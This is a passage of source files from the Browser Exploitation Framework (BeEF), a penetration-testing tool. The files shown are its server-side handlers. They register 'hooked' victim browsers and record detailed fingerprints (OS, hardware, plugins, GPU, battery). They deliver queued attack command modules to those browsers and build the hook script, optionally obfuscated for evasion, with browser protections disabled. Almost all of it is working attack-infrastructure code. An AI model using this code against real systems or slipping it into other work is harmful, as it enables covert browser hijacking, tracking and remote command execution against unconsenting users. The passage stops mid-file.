BD.set(session_id, 'host.os.version', os_version)\n          else\n            err_msg \"Invalid operating system version returned from the hook browser's initial connection.\"\n            os_version = 'Unknown'\n          end\n\n          # get and store the OS arch\n          os_arch = get_param(@data['results'], 'host.os.arch')\n          if BeEF::Filters.has_valid_browser_details_chars?(os_arch)\n            BD.set(session_id, 'host.os.arch', os_arch)\n          else\n            err_msg \"Invalid operating system architecture returned from the hook browser's initial connection.\"\n          end\n\n          # get and store default browser\n          default_browser = get_param(@data['results'], 'host.software.defaultbrowser')\n          if BeEF::Filters.has_valid_browser_details_chars?(default_browser)\n            BD.set(session_id, 'host.software.defaultbrowser', default_browser)\n          else\n            err_msg \"Invalid default browser returned from the hook browser's initial connection.\"\n          end\n\n          # get and store the hardware type\n          hw_type = get_param(@data['results'], 'hardware.type')\n          if BeEF::Filters.is_valid_hwname?(hw_type)\n            BD.set(session_id, 'hardware.type', hw_type)\n          else\n            err_msg \"Invalid value for 'hardware.type' returned from the hook browser's initial connection.\"\n          end\n\n          # get and store the date\n          date_stamp = get_param(@data['results'], 'browser.date.datestamp')\n          if BeEF::Filters.is_valid_date_stamp?(date_stamp)\n            BD.set(session_id, 'browser.date.datestamp', date_stamp)\n          else\n            err_msg \"Invalid date returned from the hook browser's initial connection.\"\n          end\n\n          # get and store page title\n          page_title = get_param(@data['results'], 'browser.window.title')\n          if BeEF::Filters.is_valid_pagetitle?(page_title)\n            BD.set(session_id, 'browser.window.title', page_title)\n          else\n            err_msg \"Invalid value for 'browser.window.title' returned from the hook browser's initial connection.\"\n          end\n\n          # get and store page origin\n          origin = get_param(@data['results'], 'browser.window.origin')\n          if BeEF::Filters.is_valid_url?(origin)\n            BD.set(session_id, 'browser.window.origin', origin)\n          else\n            err_msg \"Invalid value for 'browser.window.uri' returned from the hook browser's initial connection.\"\n          end\n\n          # get and store page uri\n          page_uri = get_param(@data['results'], 'browser.window.uri')\n          if BeEF::Filters.is_valid_url?(page_uri)\n            BD.set(session_id, 'browser.window.uri', page_uri)\n          else\n            err_msg \"Invalid value for 'browser.window.uri' returned from the hook browser's initial connection.\"\n          end\n\n          # get and store the page referrer\n          page_referrer = get_param(@data['results'], 'browser.window.referrer')\n          if BeEF::Filters.is_valid_pagereferrer?(page_referrer)\n            BD.set(session_id, 'browser.window.referrer', page_referrer)\n          else\n            err_msg \"Invalid value for 'browser.window.referrer' returned from the hook browser's initial connection.\"\n          end\n\n          # get and store hooked window host port\n          host_name = get_param(@data['results'], 'browser.window.hostname')\n          if BeEF::Filters.is_valid_hostname?(host_name)\n            BD.set(session_id, 'browser.window.hostname', host_name)\n          else\n            err_msg \"Invalid valid for 'browser.window.hostname' returned from the hook browser's initial connection.\"\n          end\n\n          # get and store hooked window host port\n          host_port = get_param(@data['results'], 'browser.window.hostport')\n          if BeEF::Filters.is_valid_port?(host_port)\n            BD.set(session_id, 'browser.window.hostport', host_port)\n          else\n            err_msg \"Invalid valid for 'browser.window.hostport' returned from the hook browser's initial connection.\"\n          end\n\n          # get and store the browser plugins\n          browser_plugins = get_param(@data['results'], 'browser.plugins')\n          if BeEF::Filters.is_valid_browser_plugins?(browser_plugins)\n            BD.set(session_id, 'browser.plugins', browser_plugins)\n          elsif browser_plugins == \"[]\"\n            err_msg \"No browser plugins detected.\"\n          else\n            err_msg \"Invalid browser plugins returned from the hook browser's initial connection.\"\n          end\n\n          # get and store the system platform\n          system_platform = get_param(@data['results'], 'browser.platform')\n          if BeEF::Filters.is_valid_system_platform?(system_platform)\n            BD.set(session_id, 'browser.platform', system_platform)\n          else\n            err_msg \"Invalid browser platform returned from the hook browser's initial connection.\"\n          end\n\n          # get and store the zombie screen color depth\n          screen_colordepth = get_param(@data['results'], 'hardware.screen.colordepth')\n          if BeEF::Filters.nums_only?(screen_colordepth)\n            BD.set(session_id, 'hardware.screen.colordepth', screen_colordepth)\n          else\n            err_msg \"Invalid value for 'hardware.screen.colordepth' returned from the hook browser's initial connection.\"\n          end\n\n          # get and store the zombie screen width\n          screen_size_width = get_param(@data['results'], 'hardware.screen.size.width')\n          if BeEF::Filters.nums_only?(screen_size_width)\n            BD.set(session_id, 'hardware.screen.size.width', screen_size_width)\n          else\n            err_msg \"Invalid value for 'hardware.screen.size.width' returned from the hook browser's initial connection.\"\n          end\n\n          # get and store the zombie screen height\n          screen_size_height = get_param(@data['results'], 'hardware.screen.size.height')\n          if BeEF::Filters.nums_only?(screen_size_height)\n            BD.set(session_id, 'hardware.screen.size.height', screen_size_height)\n          else\n            err_msg \"Invalid value for 'hardware.screen.size.height' returned from the hook browser's initial connection.\"\n          end\n\n          # get and store the window height\n          window_height = get_param(@data['results'], 'browser.window.size.height')\n          if BeEF::Filters.nums_only?(window_height)\n            BD.set(session_id, 'browser.window.size.height', window_height)\n          else\n            err_msg \"Invalid value for 'browser.window.size.height' returned from the hook browser's initial connection.\"\n          end\n\n          # get and store the window width\n          window_width = get_param(@data['results'], 'browser.window.size.width')\n          if BeEF::Filters.nums_only?(window_width)\n            BD.set(session_id, 'browser.window.size.width', window_width)\n          else\n            err_msg \"Invalid value for 'browser.window.size.width' returned from the hook browser's initial connection.\"\n          end\n\n          # store and log IP details of host\n          print_debug(\"Hooked browser [id:#{zombie.id}] has IP [ip: #{zombie.ip}]\")\n\n          if !os_name.nil? and !os_version.nil?\n            BeEF::Core::Models::NetworkHost.create(hooked_browser: zombie, ip: zombie.ip, ntype: 'Host', os: os_name + '-' + os_version)\n          elsif !os_name.nil?\n            BeEF::Core::Models::NetworkHost.create(hooked_browser: zombie, ip: zombie.ip, ntype: 'Host', os: os_name)\n          else\n            BeEF::Core::Models::NetworkHost.create(hooked_browser: zombie, ip: zombie.ip, ntype: 'Host')\n          end\n\n          # get and store the yes|no value for browser capabilities\n          capabilities = [\n            'browser.capabilities.vbscript',\n            # 'browser.capabilities.java',\n            'browser.capabilities.flash',\n            'browser.capabilities.silverlight',\n            'browser.capabilities.phonegap',\n            'browser.capabilities.googlegears',\n            'browser.capabilities.activex',\n            'browser.capabilities.quicktime',\n            'browser.capabilities.realplayer',\n            'browser.capabilities.wmp',\n            'browser.capabilities.vlc',\n            'browser.capabilities.webworker',\n            'browser.capabilities.websocket',\n            'browser.capabilities.webgl',\n            'browser.capabilities.webrtc'\n          ]\n          capabilities.each do |k|\n            v = get_param(@data['results'], k)\n            if BeEF::Filters.is_valid_yes_no?(v)\n              BD.set(session_id, k, v)\n            else\n              err_msg \"Invalid value for #{k} returned from the hook browser's initial connection.\"\n            end\n          end\n\n          # get and store the value for hardware.memory\n          memory = get_param(@data['results'], 'hardware.memory')\n          if BeEF::Filters.is_valid_memory?(memory)\n            BD.set(session_id, 'hardware.memory', memory)\n          else\n            err_msg \"Invalid value for 'hardware.memory' returned from the hook browser's initial connection.\"\n          end\n\n          # get and store the value for hardware.gpu\n          gpu = get_param(@data['results'], 'hardware.gpu')\n          if BeEF::Filters.is_valid_gpu?(gpu)\n            BD.set(session_id, 'hardware.gpu', gpu)\n          else\n            err_msg \"Invalid value for 'hardware.gpu' returned from the hook browser's initial connection.\"\n          end\n\n          # get and store the value for hardware.gpu.vendor\n          gpu_vendor = get_param(@data['results'], 'hardware.gpu.vendor')\n          if BeEF::Filters.is_valid_gpu?(gpu_vendor)\n            BD.set(session_id, 'hardware.gpu.vendor', gpu_vendor)\n          else\n            err_msg \"Invalid value for 'hardware.gpu.vendor' returned from the hook browser's initial connection.\"\n          end\n\n          # get and store the value for hardware.cpu.arch\n          cpu_arch = get_param(@data['results'], 'hardware.cpu.arch')\n          if BeEF::Filters.is_valid_cpu?(cpu_arch)\n            BD.set(session_id, 'hardware.cpu.arch', cpu_arch)\n          else\n            err_msg \"Invalid value for 'hardware.cpu.arch' returned from the hook browser's initial connection.\"\n          end\n\n          # get and store the value for hardware.cpu.cores\n          cpu_cores = get_param(@data['results'], 'hardware.cpu.cores')\n          if BeEF::Filters.alphanums_only?(cpu_cores)\n            BD.set(session_id, 'hardware.cpu.cores', cpu_cores)\n          else\n            err_msg \"Invalid value for 'hardware.cpu.cores' returned from the hook browser's initial connection.\"\n          end\n\n          # get and store the value for hardware.battery.level\n          battery_level = get_param(@data['results'], 'hardware.battery.level')\n          if battery_level == 'unknown' || battery_level =~ /\\A[\\d.]+%\\z/\n            BD.set(session_id, 'hardware.battery.level', battery_level)\n          else\n            err_msg \"Invalid value for 'hardware.battery.level' returned from the hook browser's initial connection.\"\n          end\n\n          # get and store the value for hardware.screen.touchenabled\n          touch_enabled = get_param(@data['results'], 'hardware.screen.touchenabled')\n          if BeEF::Filters.is_valid_yes_no?(touch_enabled)\n            BD.set(session_id, 'hardware.screen.touchenabled', touch_enabled)\n          else\n            err_msg \"Invalid value for hardware.screen.touchenabled returned from the hook browser's initial connection.\"\n          end\n\n          # log a few info of newly hooked zombie in the console\n          print_info \"New Hooked Browser [id:#{zombie.id}, ip:#{zombie.ip}, browser:#{browser_name}-#{browser_version}, os:#{os_name}-#{os_version}], hooked origin [#{log_zombie_domain}:#{log_zombie_port}]\"\n\n          # add localhost as network host\n          if config.get('beef.extension.network.enable')\n            print_debug('Hooked browser has network interface 127.0.0.1')\n            BeEF::Core::Models::NetworkHost.create(hooked_browser_id: session_id, ip: '127.0.0.1', hostname: 'localhost',\n                                                   os: BeEF::Core::Models::BrowserDetails.get(session_id, 'host.os.name'))\n          end\n\n          # check if any ARE rules shall be triggered only if the channel is != WebSockets (XHR). If the channel\n          # is WebSockets, then ARe rules are triggered after channel is established.\n          BeEF::Core::AutorunEngine::Engine.instance.find_and_run_all_matching_rules_for_zombie(zombie.id) unless config.get('beef.http.websocket.enable')\n        end\n\n        def get_param(query, key)\n          (query.instance_of?(Hash) and query.has_key?(key)) ? query[key].to_s : nil\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/handlers/commands.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Core\n    module Handlers\n      class Commands\n        include BeEF::Core::Handlers::Modules::BeEFJS\n        include BeEF::Core::Handlers::Modules::Command\n\n        @data = {}\n\n        #\n        # Handles command data\n        #\n        # @param [Hash] data Data from command execution\n        # @param [Class] kclass Class of command\n        #\n        # @todo Confirm argument data variable type [radoen]: type is Hash confirmed.\n        #\n        def initialize(data, kclass)\n          @kclass = BeEF::Core::Command.const_get(kclass.capitalize)\n          @data = data\n          setup\n        end\n\n        #\n        # @note Initial setup function, creates the command module and saves details to datastore\n        #\n        def setup\n          @http_params = @data['request'].params\n          @http_header = {}\n          http_header = @data['request'].env.select { |k, _v| k.to_s.start_with? 'HTTP_' }.each do |key, value|\n            @http_header[key.sub(/^HTTP_/, '')] = value.force_encoding('UTF-8')\n          end\n\n          # @note get and check command id from the request\n          command_id = get_param(@data, 'cid')\n          unless command_id.is_a?(Integer)\n            print_error(\"Command ID is invalid\")\n            return\n          end\n\n          # @note get and check session id from the request\n          beefhook = get_param(@data, 'beefhook')\n          unless BeEF::Filters.is_valid_hook_session_id?(beefhook)\n            print_error 'BeEF hook session ID is invalid'\n            return\n          end\n\n          result = get_param(@data, 'results')\n\n          # @note create the command module to handle the response\n          command = @kclass.new(BeEF::Module.get_key_by_class(@kclass))\n          command.build_callback_datastore(result, command_id, beefhook, @http_params, @http_header)\n          command.session_id = beefhook\n          command.post_execute if command.respond_to?(:post_execute)\n\n          # @todo this is the part that store result on db and the modify\n          # will be accessible from all the framework and so UI too\n          # @note get/set details for datastore and log entry\n          command_friendly_name = command.friendlyname\n          if command_friendly_name.empty?\n            print_error 'command friendly name is empty'\n            return\n          end\n\n          command_status = @data['status']\n          unless command_status.is_a?(Integer)\n            print_error 'command status is invalid'\n            return\n          end\n\n          command_results = @data['results']\n          if command_results.empty?\n            print_error 'command results are empty'\n            return\n          end\n\n          # @note save the command module results to the datastore and create a log entry\n          command_results = { 'data' => command_results }\n          BeEF::Core::Models::Command.save_result(\n            beefhook,\n            command_id,\n            command_friendly_name,\n            command_results,\n            command_status\n          )\n        end\n\n        #\n        # @note Returns parameter from hash\n        #\n        # @param [Hash] query Hash of data to return data from\n        # @param [String] key Key to search for and return inside `query`\n        #\n        # @return Value referenced in hash at the supplied key\n        #\n        def get_param(query, key)\n          return unless query.instance_of?(Hash)\n          return unless query.key?(key)\n\n          query[key]\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/handlers/hookedbrowsers.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Core\n    module Handlers\n      # @note This class handles connections from hooked browsers to the framework.\n      class HookedBrowsers < BeEF::Core::Router::Router\n        include BeEF::Core::Handlers::Modules::BeEFJS\n        include BeEF::Core::Handlers::Modules::MultiStageBeEFJS\n        include BeEF::Core::Handlers::Modules::LegacyBeEFJS\n        include BeEF::Core::Handlers::Modules::Command\n\n        # antisnatchor: we don't want to have anti-xss/anti-framing headers in the HTTP response for the hook file.\n        configure do\n          disable :protection\n        end\n\n        # Generate the hook js provided to the hookwed browser (the magic happens here)\n        def confirm_browser_user_agent(user_agent)\n          browser_type = user_agent.split(' ').last # selecting just name/version of browser\n          # does the browser already exist in the legacy database / object? Return true if yes\n          # browser and therefore which version of the hook file to generate and use\n          BeEF::Core::Models::LegacyBrowserUserAgents.user_agents.each do |ua_string|\n            return true if ua_string.include? browser_type\n          end\n          false\n        end\n\n        # Process HTTP requests sent by a hooked browser to the framework.\n        # It will update the database to add or update the current hooked browser\n        # and deploy some command modules or extensions to the hooked browser.\n        get '/' do\n          @body = ''\n          params = request.query_string\n          # @response = Rack::Response.new(body=[], 200, header={})\n          config = BeEF::Core::Configuration.instance\n\n          # @note check source ip address of browser\n          permitted_hooking_subnet = config.get('beef.restrictions.permitted_hooking_subnet')\n          if permitted_hooking_subnet.nil? || permitted_hooking_subnet.empty?\n            BeEF::Core::Logger.instance.register('Target Range', \"Attempted hook from outside of permitted hooking subnet (#{request.ip}) rejected.\")\n            error 404\n          end\n\n          found = false\n          permitted_hooking_subnet.each do |subnet|\n            found = true if IPAddr.new(subnet).include?(request.ip)\n          end\n\n          unless found\n            BeEF::Core::Logger.instance.register('Target Range', \"Attempted hook from outside of permitted hooking subnet (#{request.ip}) rejected.\")\n            error 404\n          end\n\n          excluded_hooking_subnet = config.get('beef.restrictions.excluded_hooking_subnet')\n          unless excluded_hooking_subnet.nil? || excluded_hooking_subnet.empty?\n            excluded_ip_hooked = false\n\n            excluded_hooking_subnet.each do |subnet|\n              excluded_ip_hooked = true if IPAddr.new(subnet).include?(request.ip)\n            end\n\n            if excluded_ip_hooked\n              BeEF::Core::Logger.instance.register('Target Range', \"Attempted hook from excluded hooking subnet (#{request.ip}) rejected.\")\n              error 404\n            end\n          end\n\n          # @note get zombie if already hooked the framework\n          hook_session_name = config.get('beef.http.hook_session_name')\n          hook_session_id =\n            if request.respond_to?(:[])\n              request[hook_session_name]\n            else\n              request.params[hook_session_name] || request.env[hook_session_name]\n            end\n          begin\n            raise ActiveRecord::RecordNotFound if hook_session_id.nil?\n\n            hooked_browser = BeEF::Core::Models::HookedBrowser.where(session: hook_session_id).first\n          rescue ActiveRecord::RecordNotFound\n            hooked_browser = false\n          end\n\n          # @note is a new browser so return instructions to set up the hook\n          if hooked_browser\n            # @note Check if we haven't seen this browser for a while, log an event if we haven't\n            if (Time.new.to_i - hooked_browser.lastseen.to_i) > 60\n              BeEF::Core::Logger.instance.register('Zombie', \"#{hooked_browser.ip} appears to have come back online\", hooked_browser.id.to_s)\n            end\n\n            # @note record the last poll from the browser\n            hooked_browser.lastseen = Time.new.to_i\n\n            # @note Check for a change in zombie IP and log an event\n            if config.get('beef.http.allow_reverse_proxy') == true\n              if hooked_browser.ip != request.env['HTTP_X_FORWARDED_FOR']\n                BeEF::Core::Logger.instance.register('Zombie', \"IP address has changed from #{hooked_browser.ip} to #{request.env['HTTP_X_FORWARDED_FOR']}\", hooked_browser.id.to_s)\n                hooked_browser.ip = request.env['HTTP_X_FORWARDED_FOR']\n              end\n            elsif hooked_browser.ip != request.ip\n              BeEF::Core::Logger.instance.register('Zombie', \"IP address has changed from #{hooked_browser.ip} to #{request.ip}\", hooked_browser.id.to_s)\n              hooked_browser.ip = request.ip\n            end\n\n            hooked_browser.count!\n            hooked_browser.save!\n\n            # @note add all available command module instructions to the response\n            zombie_commands = BeEF::Core::Models::Command.where(hooked_browser_id: hooked_browser.id, instructions_sent: false)\n            zombie_commands.each { |command| add_command_instructions(command, hooked_browser) }\n\n            # @note Check if there are any ARE rules to be triggered. If is_sent=false rules are triggered\n            are_executions = BeEF::Core::Models::Execution.where(is_sent: false, session_id: hook_session_id)\n            are_executions.each do |are_exec|\n              @body += are_exec.mod_body\n              are_exec.update(is_sent: true, exec_time: Time.new.to_i)\n            end\n\n            # @note We dynamically get the list of all browser hook handler using the API and register them\n            BeEF::API::Registrar.instance.fire(BeEF::API::Server::Hook, 'pre_hook_send', hooked_browser, @body, params, request, response)\n          else\n\n            # @note generate the instructions to hook the browser\n            host_name = request.host\n            unless BeEF::Filters.is_valid_hostname?(host_name)\n              (print_error 'Invalid host name'\n              return)\n            end\n\n            # Generate the hook js provided to the hookwed browser (the magic happens here)\n            if BeEF::Core::Configuration.instance.get('beef.http.websocket.enable')\n              print_debug 'Using WebSocket'\n              build_beefjs!(host_name)\n            elsif confirm_browser_user_agent(request.user_agent)\n              print_debug 'Using multi_stage_beefjs'\n              multi_stage_beefjs!(host_name)\n            else\n              print_debug 'Using legacy_build_beefjs'\n              legacy_build_beefjs!(host_name)\n            end\n            # @note is a known browser so send instructions\n          end\n\n          # @note set response headers and body\n          headers  'Pragma' => 'no-cache',\n                   'Cache-Control' => 'no-cache',\n                   'Expires' => '0',\n                   'Content-Type' => 'text/javascript',\n                   'Access-Control-Allow-Origin' => '*',\n                   'Access-Control-Allow-Methods' => 'POST, GET'\n          @body\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/handlers/modules/beefjs.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Core\n    module Handlers\n      module Modules\n        # @note Purpose: avoid rewriting several times the same code.\n        module BeEFJS\n          # Builds the default beefjs library (all default components of the library).\n          # @param [Object] req_host The request object\n          def build_beefjs!(req_host)\n            config = BeEF::Core::Configuration.instance\n            # @note set up values required to construct beefjs\n            beef_js = ''\n            # @note location of sub files\n            beef_js_path = \"#{$root_dir}/core/main/client/\"\n\n            # @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated\n            ext_js_sub_files = %w[lib/jquery-1.12.4.min.js lib/jquery-migrate-1.4.1.js lib/evercookie.js lib/json2.js lib/mdetect.js lib/platform.js lib/jquery.blockUI.js lib/bowser-2.11.0.min.js]\n\n            # @note BeEF libraries: need Eruby evaluation and obfuscation\n            beef_js_sub_files = %w[beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js\n                                   encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js are.js]\n            # @note Load websocket library only if WS server is enabled in config.yaml\n            beef_js_sub_files << 'websocket.js' if config.get('beef.http.websocket.enable') == true\n            # @note Load webrtc library only if WebRTC extension is enabled\n            if config.get('beef.extension.webrtc.enable') == true\n              beef_js_sub_files << 'lib/webrtcadapter.js'\n              beef_js_sub_files << 'webrtc.js'\n            end\n\n            # @note antisnatchor: leave timeout.js as the last one!\n            beef_js_sub_files << 'timeout.js'\n\n            ext_js_to_obfuscate = ''\n            ext_js_to_not_obfuscate = ''\n\n            # @note If Evasion is enabled, the final ext_js string will be ext_js_to_obfuscate + ext_js_to_not_obfuscate\n            # @note If Evasion is disabled, the final ext_js will be just ext_js_to_not_obfuscate\n            ext_js_sub_files.each do |ext_js_sub_file|\n              if config.get('beef.extension.evasion.enable')\n                if config.get('beef.extension.evasion.exclude_core_js').include?(ext_js_sub_file)\n                  print_debug \"Excluding #{ext_js_sub_file} from core files obfuscation list\"\n                  # do not obfuscate the file\n                  ext_js_sub_file_path = beef_js_path + ext_js_sub_file\n                  ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + \"\\n\\n\")\n                else\n                  ext_js_sub_file_path = beef_js_path + ext_js_sub_file\n                  ext_js_to_obfuscate << (File.read(ext_js_sub_file_path) + \"\\n\\n\")\n                end\n              else\n                # Evasion is not enabled, do not obfuscate anything\n                ext_js_sub_file_path = beef_js_path + ext_js_sub_file\n                ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + \"\\n\\n\")\n              end\n            end\n\n            # @note construct the beef_js string from file(s)\n            beef_js_sub_files.each do |beef_js_sub_file|\n              beef_js_sub_file_path = beef_js_path + beef_js_sub_file\n              beef_js << (File.read(beef_js_sub_file_path) + \"\\n\\n\")\n            end\n\n            # @note create the config for the hooked browser session\n            hook_session_config = BeEF::Core::Server.instance.to_h\n\n            # @note if http_host=\"0.0.0.0\" in config ini, use the host requested by client\n            if !hook_session_config['beef_public'].nil? && (hook_session_config['beef_host'] != hook_session_config['beef_public'])\n              hook_session_config['beef_host'] = hook_session_config['beef_public']\n              hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_host']}/, hook_session_config['beef_public'])\n            end\n            if hook_session_config['beef_host'].eql? '0.0.0.0'\n              hook_session_config['beef_host'] = req_host\n              hook_session_config['beef_url'].sub!(/0\\.0\\.0\\.0/, req_host)\n            end\n\n            # @note set the XHR-polling timeout\n            hook_session_config['xhr_poll_timeout'] = config.get('beef.http.xhr_poll_timeout')\n\n            # @note set the hook file path and BeEF's cookie name\n            hook_session_config['hook_file'] = config.get('beef.http.hook_file')\n            hook_session_config['hook_session_name'] = config.get('beef.http.hook_session_name')\n\n            # @note if http_port <> public_port in config ini, use the public_port\n            if !hook_session_config['beef_public_port'].nil? && (hook_session_config['beef_port'] != hook_session_config['beef_public_port'])\n              hook_session_config['beef_port'] = hook_session_config['beef_public_port']\n              hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port'])\n              hook_session_config['beef_url'].sub!(/http:/, 'https:') if hook_session_config['beef_public_port'] == '443'\n            end\n\n            # @note Set some WebSocket properties\n            if config.get('beef.http.websocket.enable')\n              hook_session_config['websocket_secure'] = config.get('beef.http.websocket.secure')\n              hook_session_config['websocket_port'] = config.get('beef.http.websocket.port')\n              hook_session_config['ws_poll_timeout'] = config.get('beef.http.websocket.ws_poll_timeout')\n              hook_session_config['ws_connect_timeout'] = config.get('beef.http.websocket.ws_connect_timeout')\n              hook_session_config['websocket_sec_port'] = config.get('beef.http.websocket.secure_port')\n            end\n\n            # @note populate place holders in the beef_js string and set the response body\n            eruby = Erubis::FastEruby.new(beef_js)\n            @hook = eruby.evaluate(hook_session_config)\n\n            if config.get('beef.extension.evasion.enable')\n              evasion = BeEF::Extension::Evasion::Evasion.instance\n              @final_hook = ext_js_to_not_obfuscate + evasion.add_bootstrapper + evasion.obfuscate(ext_js_to_obfuscate + @hook)\n            else\n              @final_hook = ext_js_to_not_obfuscate + @hook\n            end\n\n            # @note Return the final hook to be sent to the browser\n            @body << @final_hook\n          end\n\n          # Finds the path to js components\n          # @param [String] component Name of component\n          # @return [String|Boolean] Returns false if path was not found, otherwise returns component path\n          def find_beefjs_component_path(component)\n            component_path = component\n            component_path.gsub!(/beef./, '')\n            component_path.gsub!(/\\./, '/')\n            component_path.replace \"#{$root_dir}/core/main/client/#{component_path}.js\"\n\n            return false unless File.exist? component_path\n\n            component_path\n          end\n\n          # Builds missing beefjs components.\n          # @param [Array] beefjs_components An array of component names\n          def build_missing_beefjs_components(beefjs_components)\n            # @note verifies that @beef_js_cmps is not nil to avoid bugs\n            @beef_js_cmps = '' if @beef_js_cmps.nil?\n\n            if beefjs_components.is_a? String\n              beefjs_components_path = find_beefjs_component_path(beefjs_components)\n              raise 'Invalid component: could not build the beefjs file' unless beefjs_components_path\n\n              beefjs_components = { beefjs_components => beefjs_components_path }\n            end\n\n            beefjs_components.keys.each do |k|\n              next if @beef_js_cmps.include? beefjs_components[k]\n\n              # @note path to the component\n              component_path = beefjs_components[k]\n\n              # @note we output the component to the hooked browser\n              config = BeEF::Core::Configuration.instance\n              if config.get('beef.extension.evasion.enable')\n                evasion = BeEF::Extension::Evasion::Evasion.instance\n                @body << evasion.obfuscate(File.read(component_path) + \"\\n\\n\")\n              else\n                @body << (File.read(component_path) + \"\\n\\n\")\n              end\n\n              # @note finally we add the component to the list of components already generated so it does not get generated numerous times.\n              if @beef_js_cmps.eql? ''\n                @beef_js_cmps = component_path\n              else\n                @beef_js_cmps += \",#{component_path}\"\n              end\n            end\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/handlers/modules/command.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Core\n    module Handlers\n      module Modules\n        module Command\n          # Adds the command module instructions to a hooked browser's http response.\n          # @param [Object] command Command object\n          # @param [Object] hooked_browser Hooked Browser object\n          def add_command_instructions(command, hooked_browser)\n            if hooked_browser.nil?\n              (print_error 'hooked_browser is nil'\n               return)\n            end\n            if hooked_browser.session.nil?\n              (print_error 'hooked_browser.session is nil'\n               return)\n            end\n            if command.nil?\n              (print_error 'hooked_browser is nil'\n               return)\n            end\n            if command.command_module_id.nil?\n              (print_error 'hooked_browser.command_module_id is nil'\n               return)\n            end\n\n            config = BeEF::Core::Configuration.instance\n            # @note get the command module\n            command_module = BeEF::Core::Models::CommandModule.where(id: command.command_module_id).first\n            if command_module.nil?\n              (print_error 'command_module is nil'\n               return)\n            end\n            if command_module.path.nil?\n              (print_error 'command_module.path is nil'\n               return)\n            end\n\n            if command_module.path.match(/^Dynamic/)\n              command_module = BeEF::Modules::Commands.const_get(command_module.path.split('/').last.capitalize).new\n            else\n              key = BeEF::Module.get_key_by_database_id(command.command_module_id)\n              if key.nil?\n                (print_error \"Could not find command module with ID #{command.command_module_id}\"\n                 return)\n              end\n              command_module = BeEF::Core::Command.const_get(config.get(\"beef.module.#{key}.class\")).new(key)\n            end\n\n            command_module.command_id = command.id\n            command_module.session_id = hooked_browser.session\n            command_module.build_datastore(command.data)\n            command_module.pre_send\n\n            build_missing_beefjs_components(command_module.beefjs_components) unless command_module.beefjs_components.empty?\n\n            ws = BeEF::Core::Websocket::Websocket.instance\n\n            if config.get('beef.extension.evasion.enable')\n              evasion = BeEF::Extension::Evasion::Evasion.instance\n              @output = evasion.obfuscate(command_module.output)\n            else\n              @output = command_module.output\n            end\n\n            # TODO: antisnatchor: remove this gsub crap adding some hook packing.\n            if config.get('beef.http.websocket.enable') && ws.getsocket(hooked_browser.session)\n              # content = command_module.output.gsub('//\n              # //\n              # //   Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n              # //   Browser Exploitation Framework (BeEF) - https://beefproject.com\n              # //   See the file 'doc/COPYING' for copying permission\n              # //\n              # //', \"\")\n              ws.send(@output, hooked_browser.session)\n            else\n              @body << (@output + \"\\n\\n\")\n            end\n            # @note prints the event to the console\n            if BeEF::Settings.console?\n              name = command_module.friendlyname || kclass\n              print_info \"Hooked browser [id:#{hooked_browser.id}, ip:#{hooked_browser.ip}] has been sent instructions from command module [cid:#{command.id}, mod: #{command.command_module_id}, name:'#{name}']\"\n            end\n\n            # @note flag that the command has been sent to the hooked browser\n            command.instructions_sent = true\n            command.save!\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/handlers/modules/legacybeefjs.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Core\n    module Handlers\n      module Modules\n        # @note Purpose: avoid rewriting several times the same code.\n        module LegacyBeEFJS\n          # Builds the default beefjs library (all default components of the library).\n          # @param [Object] req_host The request object\n          def legacy_build_beefjs!(req_host)\n            config = BeEF::Core::Configuration.instance\n            # @note set up values required to construct beefjs\n            beef_js = ''\n            # @note location of sub files\n            beef_js_path = \"#{$root_dir}/core/main/client/\"\n\n            # @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated\n            ext_js_sub_files = %w[lib/jquery-1.12.4.min.js lib/jquery-migrate-1.4.1.js lib/evercookie.js lib/json2.js lib/mdetect.js lib/platform.js lib/jquery.blockUI.js lib/bowser-2.11.0.min.js]\n\n            # @note BeEF libraries: need Eruby evaluation and obfuscation\n            beef_js_sub_files = %w[beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js\n                                   encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js are.js]\n            # @note Load websocket library only if WS server is enabled in config.yaml\n            beef_js_sub_files << 'websocket.js' if config.get('beef.http.websocket.enable') == true\n            # @note Load webrtc library only if WebRTC extension is enabled\n            if config.get('beef.extension.webrtc.enable') == true\n              beef_js_sub_files << 'lib/webrtcadapter.js'\n              beef_js_sub_files << 'webrtc.js'\n            end\n\n            # @note antisnatchor: leave timeout.js as the last one!\n            beef_js_sub_files << 